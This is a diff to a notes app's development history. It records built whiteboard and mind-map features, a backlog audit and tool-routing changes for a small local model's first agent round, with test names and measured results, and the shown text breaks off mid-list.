+### From MINDMAP_PLAN.md §12.2 items 1 and 2 (decisions 19 and 20)
+
+| What | Before | After | Gate |
+| --- | --- | --- | --- |
+| A boundary: `data.boundary` (rounded, dashed, cloud) and `boundary_label` on the topic whose branch it holds; `wbRenderMapStructure` draws it under the lines round the showing branch, in the branch colour, on every render and drag frame; the topic menu's Branch group draws, restyles, labels and removes it; one undo step; OPML and FreeMind carry `_boundary` and `_boundary_label`; a theme reset keeps it | no way to mark a branch as a region | holds Pack and Passport, not Go; cloud, dashed; label above the top edge (17.07:1 light); follows a drag of its topic (50px drag, 50px move); shrinks when the branch folds (500 to 224px); removed and brought back by Ctrl+Z | `scratchpad/ui-sweeps/mapstructure.js` 19/19 at 1440x900 and 390x844, light and dark; `test_mindmap.py` (`test_a_boundary_and_a_summary_are_checked_on_the_way_in`, `test_boundaries_and_summaries_round_trip_through_both_xml_formats`, `test_resetting_a_maps_looks_keeps_its_boundaries_and_summaries`) |
+| A summary: `data.summary` and `summary_span` on the first topic of a run of siblings; a brace beyond the run's branches, on the side away from the parent, the words past its tip; Summarise this topic… on the Branch group, Summarise these topics… on a multi-selection of siblings; changed and removed from the first topic; OPML and FreeMind carry `_summary` and `_summary_span` | none | Pack and Book summarised as one run of 2, kept on Pack; the brace right of both branches and clear of Go; the words past its tip; both in the image export | the same sweep; `test_ui_recipes.py::test_a_maps_boundaries_and_summaries_are_drawn_in_one_pass` |
+
+Help moved with it: the Guide's mind-map topic and the map help sheet. Not
+built: a boundary round a lasso'd set that is not one branch; a summary that
+is a topic of its own (decision 20 says why); Markdown carries neither. Not
+verified: the radial and free layouts' brace side by eye (the side is
+computed from where the run lies; the sweep is tree-right only), the
+desktop window (WebView2).
+
+## Moved from the plans, 2026-10-04 (comments)
+
+### From WHITEBOARD_PLAN.md, the open "comments" row, and MINDMAP_PLAN §12.2 item 6 (decision 17)
+

+
+## Moved from the plans, 2026-10-05 (the first round, second pass)
+
+### From AGENT_SKILLS_REFORM.md, H4's two misses left after the first pass
+
+| What | Before | After | Gate |
+| --- | --- | --- | --- |
+| A compound question ("What tags and what categories am I using?": two wh-clauses, one sentence, one question mark) is a question about the notebook (`toolwords._COMPOUND_QUESTION`) | `looks_like_a_question_about` only knew "what is/are/does", so the tag and category groups handed the turn `tag_note` and `create_category` | no write tool from either group; a question followed by a job ("Which note is about my dentist? Pin it") and a question with a request in it are still jobs | `tests/test_toolwords.py` |
+| A forced "File the note under Health" is not offered `create_category` when the notebook already has "Health" (`agent._names_an_existing_category`) | 3B opened once with `create_category` | `edit_note` and the finders only; a category that does not exist keeps the write; the round after has the whole toolbox | `tests/test_harness_tiers.py` |
+| A forced first round that comes back as prose is asked once more with the call required again (`agent.FORCED_PROSE_NUDGE`) | the prose was the turn's answer unless it claimed or announced an act | one re-prompt per turn (it replaces the intent and claim nudges, so a miss costs one extra round, not three); never on a large model, never on a question | `tests/test_harness_robustness.py` |
+
+Fake transport only: the 3B was not run again, so the numbers in the first
+pass's table are from before these three.
+
+## Moved from the plans, 2026-10-04 (the first round)
+
+### From AGENT_SKILLS_REFORM.md, H4's found-not-fixed: what a small model's first round is offered
+
+| What | Before | After | Gate |
+| --- | --- | --- | --- |
+| A forced first round (`agent._first_round_tools`) is offered the writes and the reads that find a note or a reminder (`_LOCATING_TOOLS`: `search_notes`, `get_note`, `list_notes`, `list_reminders`), nothing else; the next round has the whole toolbox again | 3B, forced: "Add X to my note" opened with `get_current_time`, "Pin my dentist note" with `count_notes` | harmless read first 2 of 22 before, 0 of 22 after | `test_harness_tiers.py` (`test_a_forced_first_round_is_offered_the_writes_and_the_finders`, `test_the_round_after_a_forced_one_has_the_whole_toolbox_again`) |
+| A forced edit of a named note ("put X in my Y note", `tools.adds_to_a_named_note`) is not offered `create_note` | "Put 'buy stamps' in my shopping note" made a new note, 2 of 2 | 0 of 2; `search_notes` both times | `test_a_forced_edit_of_a_named_note_is_not_offered_a_new_note` |
+| Filing a note cues `edit_note` ("file ", "filed ", "move " in its group): the category goes on the note | "File the dentist note under Health" was offered only the category tree's four tools | `edit_note` offered | same file |
+| A question's first round (`_INFORMATION_QUESTION`: a wh-word, or an auxiliary with its subject) is offered no write; "can you pin it?" keeps its writes; the writes come back on the next round | "What tags and what categories am I using?" opened with `tag_note` (the H4 report) | no write can be first; in this sample 0 of 13 questions opened with a write before and after (the `tag_note` case did not reproduce: 3 of 3 `notebook_overview` before, 3 of 3 `list_tags` after) | `test_a_question_s_first_round_is_offered_no_write`, `test_a_request_said_as_a_question_keeps_its_writes`, `test_a_question_that_becomes_a_job_gets_its_writes_after_reading`, `test_a_large_model_s_first_round_is_not_narrowed` |
+
+Measured on Qwen2.5-3B-Instruct Q4_K_M under llama-server `--jinja -t 2`,
+the app's own system prompt and toolbox (`scratchpad/harness_firstcall.py`,
+whose probe now sends the first round's own tools), four contended cores, a
+median 80 to 94 s a round. Forced, the eleven note-targeting imperatives
+twice each: a right first tool 17 of 22 before, 20 of 22 after. The two
+misses after: one prose answer with `tool_choice: "required"` on the request
+(the server's grammar did not hold), and one `create_category` before
+`edit_note` for "File ... under Health". Unforced, ten questions and the
+tags-and-categories question three times: right 10 of 13 before, 12 of 13
+after. Small and tiny tiers only; a large model's first round is unchanged.

+| View, Present frames (`wbStartPresenting`, `wbPresentShow`, `wbStopPresenting`, `wbFramesInOrder`): full screen, `.wb-presenting` hides the chrome and makes the board a view, `#wb-present-bar` (Previous, count, Next, End), keys on the window in capture; board only (the top bar's `data-wb-surface` rows now follow the map switch too) | no way to show a board a part at a time | three frames walked in reading order by arrows, Space, Home, End and the bar; each frame 70 to 90% of the screen, clear of the bar; a tool letter and Delete do nothing; Escape restores camera (to the pixel), window and chrome; no frames: a toast; a map shows neither Present frames nor Frame | `scratchpad/ui-sweeps/wbpresent.js` 18/18 at 1440x900 and 390x844, light and dark; count text 17.07:1 light, 14.01:1 dark; `test_ui_recipes.py::test_presenting_is_one_mode_with_one_bar` |
+
+Help moved with it: the Guide's whiteboard-keys topic, the board help sheet's
+Move around list, DESIGN.md's recipe row. Not built: speaker notes,
+transitions, a presenter view; the map's own presentation by branch
+(MINDMAP_PLAN 12.2 item 9) is still open.
+
+## Moved from the plans, 2026-10-04 (board lock)
+
+### From WHITEBOARD_PLAN.md, the open "lock" row (decision 15)
+
+| What | Before | After | Gate |
+| --- | --- | --- | --- |
+| Lock: `.wb-locked` from state (`wbPaintLocks`), one CSS rule takes the pointer away from the item and its parts; `wbIsLocked` in Select all, marquee, lasso, a group's click and `wbFrameContents`; Lock on the item menu and Ctrl+Shift+L, Unlock on the board's menu and Ctrl+Shift+L with nothing selected; one undo step; card flag in `whiteboard_nodes.locked` (migration `e5a1c8f3b7d2`), sketch and object flags in their data | nothing on a board could be held in place | sticky, rectangle and card locked; presses reach the board; a drag moves nothing; Select all, a marquee and the eraser pass them by; the frame's drag leaves them; saved; undo and redo; "Unlock 3 locked items" frees all three | `scratchpad/ui-sweeps/wblock.js` 17/17 at 1440x900 and 390x844, light and dark; `test_ui_recipes.py::test_a_locked_item_is_out_of_reach_in_one_way`, `test_whiteboard.py::test_a_card_and_an_object_keep_their_lock` |
+| Found on the way, frames: a marquee drawn inside a frame took the frame too, so the next drag carried the frame and everything in it | `rectsIntersect` for every object | a frame joins a marquee only when the sweep holds all of it | the same sweep's marquee row |
+
+Not verified: a touch long-press on a locked item (the sweep right-clicks at
+390x844; the board's long-press menu is the same `openCanvasMenu`). Help moved
+with it: the Guide's whiteboard-keys topic, the board help sheet's Selection
+list, the item menu's tooltip and DESIGN.md's recipe row.
+
+## Moved from the plans, 2026-10-04 (board frames)
+
+### From WHITEBOARD_PLAN.md, the open "board frames" row (decision 14)
+
+| What | Before | After | Gate |
+| --- | --- | --- | --- |
+| A frame: an object of kind `frame` (`routes_whiteboard.FRAME_KIND`), title in `content`, drawn as `.wb-object-frame` (an edge in the muted ink, a `.wb-frame-title` above, no fill, inside `pointer-events: none`), stacked below everything (`wbFrameZ`) | no way to divide a board into titled regions; ROADMAP listed it open | F, the rail's Add section, Insert, Frame; click drops 480x320 fitted to the screen (291x194 at 390), a drag draws it; title drag carries what lies wholly inside (`wbFrameContents`, `wbFrameDragOrigin` into `wbCaptureBulkMoveOrigin`), one undo for all, Ctrl moves it alone; rename in place through `wbBeginTextEdit`; Delete leaves the contents; no rotate grip, no style or order controls; export draws it first; `read_whiteboard` lists `frames` with the cards under each; not on maps | `scratchpad/ui-sweeps/wbframes.js` 24/24 at 1440x900 light and dark, 4/4 at 390x844 light and dark; edge 3.78:1 light and 5.57:1 dark (3:1 needed), title 5.91 light and 7.96 dark (4.5 needed); `test_ui_recipes.py::test_a_frame_is_one_kind_reached_three_ways`, `test_whiteboard.py::test_a_frame_round_trips_behind_everything`, `test_ai_whiteboard_tools.py::test_read_whiteboard_names_its_frames_and_the_cards_under_them` |
+
+Not in decision 14 and not built: nesting rules, clipping what overhangs a
+frame, a frame as an export scope or a presentation step (presentation is its
+own open row). Help moved with it: the Guide's whiteboard-keys topic, the
+board's help sheet (Frame, F), the rail tooltip and DESIGN.md's recipe row.
+
+## Moved from the backlog, 2026-10-04 (an audit of BACKLOG.md by grep)
+
+Each item was checked against the code before it was moved; "already built"
+means the entry was stale, found by reading the call site, not assumed.
+
+### From section 8 (the ideas parking lot)
+
+- **Settings on a narrow viewport.** Already built: below 600px the top bar's
+  theme, settings, lock and quit squares become the rows of `#header-more`
+  (`initPhoneHeaderMore`, `phone-shell.js`; the bottom sheet's last row is
+  Settings too). Measured at 320 and 390: `#settings-btn` is `display: none`
+  there on purpose and the menu row opens `openSettingsModal()`.
+- **Dashboard widgets and markdown.** Already built: the dashboard's note
+  lists run `renderInlineMarkdown` in compact mode (`dashboard.js`, around
+  2428 to 2530), and `notePreviewText` covers the label-sized ones.
+- **The constellation widget on a theme change.** Already built:
+  `applyPalette` (`ai-tools.js`) and the theme toggle (`settings.js`) both call
+  `refreshArtForTheme()` (`dashboard.js`), guarded for load order.
+- **Gravity and Spread under tree and radial layouts.** Already built:
+  `setGraphPhysicsEnabled` (`graph.js`) disables the three sliders and puts
+  the reason on hover.
+- **The extracted page's visual rendering.** Already built: `.web-reader-text`
+  (`03-dashboard-widgets.css`) has the document measure, a heading scale,
+  blockquotes, lists and code.
+
+### From section 8b
+
+- **A start and an install in flight at once.** Fixed. A start waiting on
+  SearXNG now stops waiting the moment an install begins (the wait's
+  `still_starting` also asks `_install_state["running"]`), stops the process
+  and says "SearXNG was being reinstalled while it started" instead of
+  blaming SearXNG for writing no output. Test:
+  `test_a_start_waiting_on_searxng_gives_up_when_a_reinstall_begins`.
+
+### From section 19 and 22
+
+- **Colour contrast "never measured".** `scratchpad/ui-sweeps/contrast.js`
+  measures it in both themes (HISTORY has the numbers); `all.sh` now also runs
+  it with `THEME=dark` at 1440 and 390.
+- **`prefers-reduced-motion`.** Covered by the two blankets in
+  `02-chat-graph.css` (`test_motion_tokens.py`) and `test_motion_endings.py`.
+- **Chat, Agent and Browse selector.** Done as the Ask/Agent toggle plus the web
+  panel (section 3's audit).
+- **README drift.** `tests/test_readme_freshness.py` holds the numbers and
+  names against the code.
+
+### From section 79b
+
+- **A splash window at launch.** Built: `scripts/splash.ps1` and the launch
+  splash in `__main__.py` (`launch_status`).
+- **Agent-mode and skill auto-detect nudges, start and finish notices for
+  sub-processes, AI follow-up chips, the minimap's drag, wheel and keyboard
+  zoom, and the token-efficiency pass.** All six built in section 93.
+- **Scanned PDFs through the vision model rather than Tesseract.** Built:
+  `pdfpages` rasterises, `vision_ocr.py` reads, `routes_files.py` falls back to
+  it for a PDF with no text layer.
+- **Contrast measured** (see above).
+
+### From sections 64, 65 and 76
+
+- **Documents: a slash menu and focus mode (64).** Built: the slash menu is
+  `editor.js`'s, focus mode is `toggleDocFocus` with `#doc-focus-bar`.
+- **A clipping's source as metadata (65).** Built: `Entry.source_url` and
+  `source_title`, drawn as a "from the web" badge in `note-cards.js`.
+- **Keyword-only filing with no model (76), first half.** Built:
+  `manager.WORDS_FILED`, set by the janitor, reported as `filed_by: "words"`;
+  moving such a note by hand is logged as a correction.
+
+### From sections 16, 17 and 18
+
+- **Keyboard-only navigation of the note list (16).** Built: the list is a
+  roving-tabindex walk with ArrowDown, ArrowUp, Enter, Home, End, Delete and F2
+  (`notes-list.js`, around 2983 to 3010).
+- **The agent only in the Chat tab (18).** Built as the popup agent
+  (`agent-activity.js`, `capture-ask.js`): available from every tab.
+- **Journalling (17).** Built: a daily note is a convention
+  (`dailyNoteTitle`, `timeline.js`, TIMELINE_PLAN phase 4).
+
+### From sections 27 and 109.4
+
+- **The onboarding's model-pull offer and the writable-folder line (27).**
+  Built: `renderOnboardingActions` and `GET /storage`'s `data_dir_writable`.
+- **A backlinks panel, a conflict-safe editor, a shortcut sheet, single-note
+  and single-document export, bulk tag editing and "why is this here?" on a
+  graph edge (109.4).** All built: `/entries/{id}/backlinks`
+  (`notes-list.js`), the 409 dialog (`edit-conflict.js`), Settings, Shortcuts,
+  `/entries/{id}/export.md` and `/documents/{id}/export.md|zip|docx`, the bulk
+  dialog in `tag-manager.js`, and the edge reason in `graph.js`.
+
+### From sections 21, 28 and 29
+
+- **Skills: undo for a link change (21).** `unlink_notes` exists, so a link
+  change has an inverse; a reminder still has none.
+- **In-app help that knows the docs (28).** Built: `ai/help_chat.py`,
+  `help_topics_more.py` and the Guide.
+- **MCP, the expose half (29).** Built: `src/memorymap/mcp_server.py`.
+
+### From section 29b
+
+- **`graph_local` costs a full notebook scan (item 4).** Built:
+  `routes_graph._local_topology` keeps the index and the direction map once per
+  notebook fingerprint (and per similarity setting and embedding model), built
+  by `paths.build_light` from the `id`, `parent_id` and `tags` columns instead of
+  every note as an ORM object; a call reads only the notes it draws
+  (`_load_entries`). A cold call (after any write) still builds the whole
+  topology, because PageRank is global; a warm call no longer touches it.
+  Measured 2026-10-04 (synthetic notebooks of 2,000 and 10,000 notes, two links
+  and two tags a note, depth 2, `tests/test_graph_local_scaling.py`): a warm call
+  129 ms and 1,032 ms before, 13 ms and 23 ms after; cold 0.8 s and 1.6 s (the
+  old cold call was the old warm call plus the sweep). The test pins the shape:
+  five times the notes may cost a warm call at most three times the time, a warm
+  call builds the topology zero times, a write is seen by the next call, and
+  `build_light` agrees with `build` on every note's neighbours.
+
+- **A dry-run for the background librarian (item 2).** Answered by review-after
+  rather than a true dry-run: the pass keeps what it did and every write carries
+  its undo (`autonomous.py`, ROADMAP section 40 item 2; a stubbed pass stops
+  resembling the real one, so a preview would lie).
+
+### From sections 4 and 7
+
+- **Archive (4, item 3).** Built for notes, chats and documents: each model carries
+  `archived_at` (`core/database.py`).
+- **Single instance (7).** Built in `__main__.py`: one server per data directory.
+
+### From sections 9, 10, 13 and 14
+
+- **Performance (11).** Warm model: `OllamaClient` sets `keep_alive` to 30 minutes
+  and `embeddings.start_warmup` loads the embedder; the frontend split is done
+  (`app.js` is 25 files, CLAUDE.md section 7).
+
+- **Graph utility (9).** Built: paths between two notes (`path_between`, the trace
+  in `graph.js`), orphans and hubs, drag-to-link, the timeline scrub, PNG export,
+  filters and `related_notes`.
+- **Reminders as points on the timeline (10).** Built: the `reminder` kind in
+  `timeline.js`.
+
+- **No favicon fetched per search result (13).** Held: `chat.js` draws the
+  site's first letter on a tile, because a real favicon is a request to the
+  site from inside the app for every result.
+- **Tools (14).** Built: `create_document`, `related_notes`,
+  `find_similar_notes`, `notebook_overview` and `count_notes`,
+  `save_user_preference`, `unlink_notes` and the four category tools.
+
+### From section 98
+
+- **The lightbox's actions that need an id (3b).** Built: `buildMoreMenu` in
+  `lightbox-view.js` (describe with AI, read text with AI, rename, delete),
+  shown when the item carries an id.
+
+### From section 116
+
+- **Unlink uploads when a map's entry is purged (116.1 item 1).** Built in
+  `entry/manager.py` (`_hard_delete`: a map's image objects lose their files,
+  confined to `<data>/media`; a plain board keeps its files). It had no test;
+  `test_purging_a_map_removes_its_image_files_but_a_plain_board_keeps_them`
+  in `tests/test_recycle_bin.py` now holds both halves.
+- **The Health block's latency row (116.1 item 2).** Built: `renderHealthBlock`
+  in `settings.js` draws `latency_ms_by_kind` as "kind: 1.2s typical, 3.4s slow".
+- **Mindmaps 116.2 items 6 to 10.** Built: the FreeMind `.mm` importer
+  (`whiteboard.js`), "make a map of these notes" (`POST /whiteboard/boards/propose`
+  with `_outline_covering`, called from `whiteboard.js`), focus mode,
+  perspectives, metrics and templates (`whiteboard-map.js`), the 500-node
+  measurement (HISTORY, the whiteboard topics table), and the cross-link tool.
+- **The phone and dark passes (116.1 items 3 and 4).** Measured 2026-10-04 on
+  a fresh notebook: `errors.js` at 390 over every tab, every Settings section
+  and the Library sub-tabs, 0 errors and 0 layout findings; `contrast.js` with
+  `THEME=dark` at 1440, every surface ok (the whiteboard was skipped, a fresh
+  notebook has no board). Not measured: a notebook with content on those
+  surfaces, and the dark pass at 390 (`all.sh` now runs it).
+- **Tooling 116.4.** `serve.sh` is the per-agent launcher; `all.sh` runs the
+  phone widths (`chrome.js` at 1440, 1024, 820, 390) and now a dark contrast
+  pass at 1440 and 390.
+
+## Moved from the plans, 2026-10-04 (the consistency contract's missing lints)
+
+### From WORLD_CLASS_PLAN.md rows 13 (section 1, D14)
+
+Five rules of section 1 named a lint that did not exist, so a session that did
+not know the rule could break it and nothing failed. All five are in
+`tests/test_consistency_contract.py`, each measured against the code first.
+
+- **Surface budget** (1.1). A card in a card, a panel in a panel, a glass in a
+  glass, a `details > summary.btn` in a card. 0 offences in `index.html`
+  (68 cards, 25 glass surfaces walked); no element carries the bare class
+  `panel`, so that half is a guard for the day one does. The plan named
+  `test_surface_budget.py`; it lives in the one file with the other four.
+- **One primary per modal** (1.2). Filled buttons per modal overlay, and per
+  pane inside the settings screen (the unit is the pane, the shell's nav is
+  not counted). Fails on a second filled button; five places hold more and
+  are ratcheted at their count (`PRIMARY_RATCHET`): doc-ai-panel 2 (Run,
+  Accept), ocr-workspace 2 (Save edits, Make a note), meeting-overlay 2
+  (Record, Save), settings-searchindex 2, settings-about 3. Each is a
+  stage-gated pair or a hidden alternate; making the second ghost until its
+  turn is a design call per dialog. A test fails when an allowance outlives
+  its dialog.
+- **Meta without border or hover** (1.2). 13 distinct `.chip` rules draw a
+  border or answer hover on the chip itself (link chips, category chips that
+  open a menu, the confidence chip, item labels, the recent-questions chip);
+  held at 13 (`META_RATCHET`). These are controls dressed as chips; folding
+  each into a button or dropping its edge is a per-chip design call.
+- **A menu item's rest background** (1.3). Across the five item classes
+  (`.menu-item`, `.doc-dock-menu-item`, `.wb-menu-item`,
+  `.library-image-menu-item`, `.action-menu-item`) no rest rule paints a
+  fill: 0 offences. The tint is hover and selected only.
+- **Every action in the palette** (D14). The app has no `data-action`
+  attribute, so the gate reads the two places an action is declared: every
+  `data-tab` button needs a `tab:` row (7 of 7 did) and every
+  `DEFAULT_SHORTCUTS` chord needs a `chord:` row or a named reason in
+  `CONTEXTUAL_CHORDS` (13 contextual, 17 in the palette). Four had neither
+  and now have a row: Open today's note (Ctrl+D, a new `todays-note` reveal
+  target), Go back, Go forward (Alt+Arrow), Reload the app (Ctrl+Alt+R).
+
+Not verified: the four new palette rows were not run in a browser; the static
+catalogue lints (`test_catalogue_reveal.py`, `test_feature_catalog.py`) pass.
+
+### From WORLD_CLASS_PLAN.md row 14 (A8): the '?' on every tab's dock
+
+Read against the markup first: of the 16 `data-dock-name` docks, 14 already
+carried a '?' (Chat, Library and Boards use the `data-help-for` popover;
+Graph, Timeline, Notes, Skills, Media and Contents use the older hand-wired
+`.graph-help-panel`), so the plan's "Chat and Graph have it" understated it.
+Two tab docks had none: **Dashboard** and **Reminders**. Each now ends with
+the recipe's button and `.help-body` (`#dash-help-toggle` / `#dash-help`,
+`#reminders-help-toggle` / `#reminders-help`), before the dock's more menu, and
+the help is one paragraph of three sentences. The Settings Logs console is
+the one dock left without, listed in `HELPLESS_DOCKS` with its reason (the
+Settings screen has its own Help section).
+
+- Lint: `tests/test_dock_help_507.py` fails a dock with no '?' and a stale
+  entry in `HELPLESS_DOCKS`; the new copy is checked for em-dashes and
+  exclamation marks.
+- Measured (`scratchpad/ui-sweeps/dockhelp2.js`, Chromium, 8804): at 1440 and
+  390 the toggle is visible (32px, 44px on a phone), one press opens a panel
+  fully inside the window, a second closes it; both docks stay one row (50px
+  at 1440, 62px at 390). 4 of 4.
+- Not changed: the six hand-wired panels were not moved onto `data-help-for`.
+
+### From WORLD_CLASS_PLAN.md row 12 (D6): the calendar strip and the day pair
+
+Read first: `todaysNote` (Ctrl+D) and both endpoints existed; no strip and no
+pair did (`grep` for `entries/daily` in `frontend/` found only a comment).
+
+- **The strip** (`renderTimelineDayStrip`, `#timeline-daystrip`): the seven days
+  ending today above the feed, a weekday and a date in each, a dot under a day
+  with a page, today in the accent and `aria-current="date"`, a month label
+  and two arrows that move a week (the later one is off at today; Today in the
+  dock brings the strip home). Outside the dock on purpose: seven buttons
+  would have taken the dock's whole seven-control ceiling, so the plan's
+  "segment of seven on the dock" became its own row, flat on the page and
+  capped at 28rem so a desktop window does not draw seven 190px boxes
+  (seen in a screenshot, then fixed).
+- **Written days** come from `GET /entries/daily?through=&days=7` (notes, by
+  their heading, the endpoint written for this) and the Timeline's documents
+  for days titled with a document.
+- **Pressing a day** is `openDayPage(key)`: the note when `GET /entries/daily`
+  says the day is written, else a document titled with the day, else the
+  composer with the date in the title and nothing written (the owner's rule
+  for Start today's note, now for every day). The question is asked before the
+  read so an empty day is an answer and not a 404 in the console. Ctrl+D is
+  `openDayPage(today)` now, one path for both.
+- **The pair** (`dailyNotePair`): a note whose title is an ISO date shows two
+  ghost buttons under its title in the Notes list, the day before and the day
+  after, labelled by weekday and date (the note is rarely today's, so
+  "Yesterday" and "Tomorrow" would be wrong).
+- Help moved with it: the Timeline's '?' paragraph and the Guide's
+  `timeline-controls` topic name the strip and the pair
+  (`tests/test_daily_strip.py`).
+- Measured (`scratchpad/ui-sweeps/daystrip.js`, Chromium, 1440 and 390): seven
+  days in one row and inside the window, today current and last, the dot on
+  both seeded days, 45px or more per day at 390 (the 44px target), an
+  unwritten day opens the composer with its date and the note count does not
+  change, a written day opens the Notes tab on its card, the pair opens the
+  neighbour, the earlier arrow moves a week and Today returns, no console
+  error. 19 of 19.
+- **The month popover** (the overflow the brief named): the strip's month label
+  is a button (`#timeline-month-btn`, `aria-haspopup`) opening a calendar of
+  one month (`#timeline-month-pop`, `renderTimelineMonthPop`) on the popover
+  shell (`wireHelpPopover`: lifted to the body, caret, Escape, press outside).
+  The grid is a group of buttons with one Tab stop; arrows walk a day or a
+  week, Home and End the week's ends, Page Up and Page Down a month (the page
+  turns, the focus stays in it), Escape returns the focus to the month button.
+  Days after today are disabled (the strip never passes today), the days the
+  strip shows are tinted, a dot marks a day with a page (the same two
+  endpoints, one helper `timelineDayPages` shared with the strip). Picking a
+  day moves the strip to it (three days in from the right edge, never past
+  today) and focuses it, so the one way to open a page stays the strip's
+  button; nothing is written. Measured (`daystrip.js` extended, 1440 and 390,
+  light and dark, 38 of 38 on the last run): opens inside the window, focus on
+  today, 44px or more per day at 390, the dots, ArrowLeft and the stop at
+  today, Page Up, Escape and focus, a pick in another month, no note written,
+  a press outside closes it.
+- Left: the strip shows notes and documents only, not boards or reminders
+  titled with a date, as the timeline's own daily convention does.
+
+### From WORLD_CLASS_PLAN.md A8 (help on the recipe)
+
+The nine '?' buttons that still ran on an `initHelpToggle(buttonId, panelId)`
+pair or their own listeners (Graph, Timeline, Notes' filter and capture,
+Skills, Boards, Media, Contents, Settings' search relevance) are button +
+`.help-body` + `data-help-for` now, and the Settings Logs dock has its '?'
+(`HELPLESS_DOCKS` is empty). The wiring, the `.graph-help-panel` and
+`.search-help` CSS and a dangling selector in 07 are deleted;
+`test_no_help_panel_is_hand_wired` keeps them gone. One behaviour was kept on
+purpose: Escape on a popover marks the press (`helpPopoverSpent`) so the
+Graph's full-screen exit ignores the press that closed the '?'. Measured
+(`scratchpad/ui-sweeps/helprecipe.js`, 10 surfaces, 1440 and 390, light and
+dark, 40 of 40): inside the window, 32px toggles (44px at 390), Escape and a
+second press close, dock rows unchanged. Found: Escape in Settings closes the
+whole modal as well as the popover (the modal's own handler; it did before).
+
+## Moved from the plans, 2026-10-04 (the map's palette, font and the app's own default)
+
+### From MINDMAP_PLAN.md section 13e: the branch palette, the font, and decision 9's narrow case
+
+What was left of 13e after the map's theme: the two map-level looks §13.4
+named (a branch palette a person picks, a font) and the case decision 9
+recorded rather than solved (a topic that could not be pulled back to the
+app's own default for a field the map themes).
+
+- **One palette list, two drawings** (decision 8). `MAP_BRANCH_PALETTES`
+  (routes_whiteboard.py) is the only copy: `classic` (the Tableau 10 every map
+  had, `MAP_BRANCH_PALETTE` unchanged), `deep`, `soft` and `vivid` (d3's
+  Dark2, Set2 and Category10). The theme stores a name (`palette`); `/tree`
+  hands the canvas the resolved colours (`MapTreeOut.palette`), which
+  `wbMapPalette` and `wbMapColors` read instead of d3; the thumbnail draws
+  from the same name, and the name is in the preview cache key, so picking
+  one is not served the old picture.
+- **A font for the whole map**: `font` (`serif`, `mono`, `wide`), stacks in
+  `WB_MAP_FONTS`, set as `--wb-map-font` on the whiteboard view (declared as
+  `var(--ui-font)`, so an unthemed map draws what it did) and read by
+  `.wb-map-node` and `.wb-map-edge-label`; the image export writes the same
+  stack (`wbMapFontStack` into `wbSvgText`). Both are map-level fields
+  (`MAP_LEVEL_THEME_FIELDS`): never filled in under a topic's style, so an
+  export never writes them onto a node.
+- **The app's own default against a theme** (decision 9). Each themed
+  select field has a stored name for the default
+  (`MAP_APP_DEFAULT_PINS` / `WB_MAP_APP_DEFAULT_PINS`: size 0, align auto,
+  shape rounded, spine solid, width normal, line curve). While the map themes
+  a field, the strip's picker carries that row, named what its blank row says
+  on an unthemed map ("Rounded", "M"); as a value it beats the theme. The
+  canvas paints a pin as no attribute (`wbMapDrawn`, since
+  `:not([data-shape])` is how a core idea gets its shape), the exports write
+  it as the absence it means (`_without_pins`, `curve` excepted as a value
+  every reader knew), and font size 1 to 7 stays refused.
+- The View menu's row is now "How this map looks", with "The whole map"
+  (Branch colours, Font) first; the Guide's mind map controls topic says so.
+
+Measured: `mappalette.js`, new, **13/13** at 1440 light, 1440 dark and
+390x844 (Branch 1 `#4e79a7` on canvas and thumbnail, `#1b9e77` on both after
+Deep; topic text `system-ui` to `Georgia`, the SVG export the same face; a
+pinned topic draws no `data-shape` at 13.6px while its sibling draws pill at
+25px; the pin row goes when the theme does). `maptheme.js` 24/24 at 1440 light
+and 390 dark (its dialog count moved from 7 selects in 3 groups to 9 in 4).
+`tests/test_map_theme_palette.py`, new, 11 tests.
+
+Not verified: the `wide` stack on Windows and macOS (measured only where
+Verdana falls back to DejaVu Sans); a re-import of a themed map still comes
+back as topics carrying the look, not as a themed map (unchanged, maptheme.md).
+
+### From MINDMAP_PLAN.md: the placed items of 2026-09-09 (INBOX 24 and the evening batch)
+
+Verified against the running app before anything was built; three of the four
+were already built and are recorded here with today's numbers.
+
+- **24, one filled New with a two-row menu.** Built earlier as the dock
+  recipe (WORLD_CLASS_PLAN 507, DESIGN.md's row for a dock's one filled action
+  with a choice inside it); what the decision asked and the build lacked was
+  the "one-line hint" per row, which was a tooltip only. Each row now carries a
+  muted second line (`.dock-menu-item-hint`: "An empty canvas you arrange by
+  hand", "Topics branching from one central idea"). `boardsnew.js`, new: one
+  filled control in the dock, both rows with an icon and a visible hint at
+  11.2px against the word's 13.6px, the menu inside the window, at 2000, 1440,
+  820 and 390 in light and at 1440 and 390 in dark.
+  `test_each_kind_in_the_new_menu_says_what_it_makes` (fails before).
+- **"The mindmap I made called bubble tea shows as a note" in All.** Built
+  earlier (`_entry_kind` in routes_library.py, the Boards and Mind maps chips,
+  `tests/test_library_boards.py`). Re-measured live with
+  `libraryallmap.js`, new: a map's row in All carries `ph-tree-structure` and
+  no pencil, a note's the pencil.
+- **The Boards and maps dock "broken and miss wrapped" at about 2000px.**
+  Built earlier (the dock's ⋯, HISTORY "The Library's Boards-and-maps dock had
+  no ⋯"). Re-measured with `boardsdock.js`: one row of 32px controls at 2000
+  (7 controls), 1440 (7), 1024 (5) and 820 (5), two rows only at 390 (44px
+  controls), 0 findings.
+
+### From MINDMAP_PLAN.md section 13b's remainder: the strip and the handle of the line into its topic
+
+The one thing 13b's gate asked that its build did not measure. `mapstripcover.js`,
+new: for every non-root topic of a 13-topic map in tree-right, tree-down,
+radial and both-sides, select it and read `elementFromPoint` at the centre of
+the waypoint handle of the line into it. Before: **4 of 48** under the strip at
+1440 (tree-right's last branch, whose line bends up into the strip's band; three
+on a radial map's inner rings). `wbMapStripClearOfHandle` (whiteboard.js) now
+tries, in order, the place already chosen, the same height slid clear to the
+handle's left, then to its right, then under the topic, and keeps the first
+place if none fits; one rect read, skipped during a drag. After: **0 of 192**
+at 1440, 1024, 820 and 390, and the strip on its own topic 0 times.
+`mapstrip.js` 39/39 and `mapnarrow.js` 3/3 unchanged;
+`tests/test_map_strip_handle.py` pins the shape. Not measured: the handles of
+the lines *out of* the selected topic (also shown when it is selected), which
+the plan did not name.
+
+## Moved from the plans, 2026-10-04 (graph plan leftovers)
+
+### From GRAPH_PLAN.md: "Still open after KG1 to KG9"
+
+**The properties block in previews (built).** A note's `---` block is data
+about it, never its opening words. Read through `entry/properties.strip` now:
+the search snippet (`search/engine._snippet`) and a result's title
+(`search/index._first_line`, which had named a note `---`), the Library's
+`_clip` (note, bin, file and document cards), a document's `_preview`, a
+reminder's `entry_preview`, `tensions._excerpt`, Ask cards (`cards._note_item`),
+the agent's graph and whiteboard previews, the extractor's link previews, and
+five page clips (`categories-panel.js`, `graph.js` remind, `lightbox.js`,
